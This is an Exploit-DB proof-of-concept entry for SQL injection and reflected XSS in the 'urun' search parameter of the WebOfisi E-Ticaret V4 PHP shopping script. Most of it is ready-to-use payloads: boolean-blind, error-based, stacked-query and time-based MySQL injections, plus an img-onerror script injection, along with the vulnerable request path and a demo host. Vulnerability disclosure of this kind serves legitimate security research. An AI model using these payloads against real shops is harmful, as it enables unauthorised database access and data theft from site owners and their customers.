WebOfisi E-Ticaret V4 - 'urun' SQL Injection

EDB-ID:
45897

CVE:
N/A

EDB Verified: ×

Author:
AKKUS

Type:
WEBAPPS

Exploit: / {}

Platform:
PHP

Date:
2018-11-21

Vulnerable App:

```
# Exploit Title: WebOfisi E-Ticaret V4 - 'urun' SQL Injection
# Date: 2018-11-21
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Contact: https://pentest.com.tr
# Vendor Homepage: https://www.web-ofisi.com
# Software Demo: http://demobul.net/eticaretv4/
# Software Link: https://drive.google.com/file/d/1ZghFSsYto-Vpv3PXunx8xm2g-
Gs3HJwz/view?usp=sharing
# Version: v4.0
# Category: Webapps
# Tested on: XAMPP for Linux
# Description: E-Ticaret v4 is a professional online shopping script with
many features.
# Vulnerabilities have been discovered during penetration testing.

# PoC : SQLi :
# Request : /eticaretv4/arama.html?kategori=20&urun=test

# Parameter : urun (GET)
# Type : boolean-based blind
# Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP
BY clause
# Payload:

kategori=20&urun=test") RLIKE (SELECT (CASE WHEN (6525=6525)THEN 0x74656474
ELSE 0x28 END)) AND ("YWLa"="YWLa

# Type: error-based
# Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY
clause (FLOOR)
# Payload:

kategori=20&urun=test") OR (SELECT 6556 FROM(SELECT
COUNT(*),CONCAT(0x71626b6b71,
(SELECT(ELT(6556=6556,1))),0x716b716b71,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND ("ExaV"="ExaV

# Type: stacked queries
# Title: MySQL < 5.0.12 stacked queries (heavy query)
# Payload:

kategori=20&urun=test");SELECT BENCHMARK(5000000,MD5(0x44527964)) AND
("KGaO"="KGaO

# Type: AND/OR time-based blind
# Title: MySQL >= 5.0.12 OR time-based blind
# Payload:

kategori=20&urun=test") OR SLEEP(5) AND ("sDnb"="sDnb

# PoC : XSS :
# Payload :
http://demobul.net/eticaretv4/arama.html?
kategori=20&urun=%3E%27%3E%22%3E%3Cimg%20src=x%20onerror=alert%280%29%3E
```

Tags: SQL Injection (SQLi)

Advisory/Source: Link

Databases

Links

Sites

Solutions